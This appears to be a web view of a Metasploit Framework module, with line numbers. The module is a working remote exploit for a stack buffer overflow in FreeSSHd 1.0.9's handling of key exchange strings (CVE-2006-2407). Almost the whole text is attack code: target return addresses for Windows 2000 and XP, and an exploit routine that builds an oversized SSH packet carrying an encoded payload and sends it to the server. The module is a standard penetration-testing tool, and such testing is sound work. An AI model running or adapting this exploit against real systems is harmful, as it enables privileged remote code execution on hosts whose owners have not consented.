Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ssh/freesshd_key_exchange.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow',
16
'Description' => %q{
17
This module exploits a simple stack buffer overflow in FreeSSHd 1.0.9.
18
This flaw is due to a buffer overflow error when handling a specially
19
crafted key exchange algorithm string received from an SSH client.
20
},
21
'Author' => 'MC',
22
'License' => MSF_LICENSE,
23
'References' => [
24
['CVE', '2006-2407'],
25
['OSVDB', '25463'],
26
['BID', '17958'],
27
],
28
'DefaultOptions' => {
29
'EXITFUNC' => 'process',
30
},
31
'Payload' => {
32
'Space' => 500,
33
'BadChars' => "\x00",
34
'StackAdjustment' => -3500,
35
},
36
'Platform' => 'win',
37
'Targets' => [
38
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e56f43 } ],
39
[ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e51877 } ],
40
[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 } ],
41
],
42
'Privileged' => true,
43
'DisclosureDate' => '2006-05-12',
44
'DefaultTarget' => 0,
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
register_options(
54
[
55
Opt::RPORT(22)
56
]
57
)
58
end
59
60
def exploit
61
connect
62
63
sploit = "SSH-2.0-OpenSSH_3.9p1"
64
sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00"
65
sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
66
sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V')
67
sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n"
68
69
res = sock.recv(22)
70
if (res =~ /SSH-2.0-WeOnlyDo 1.2.7/)
71
print_status("Trying target #{target.name}...")
72
sock.put(sploit)
73
else
74
print_status("Not running a vulnerable version...")
75
end
76
77
handler
78
disconnect
79
end
80
end
81
82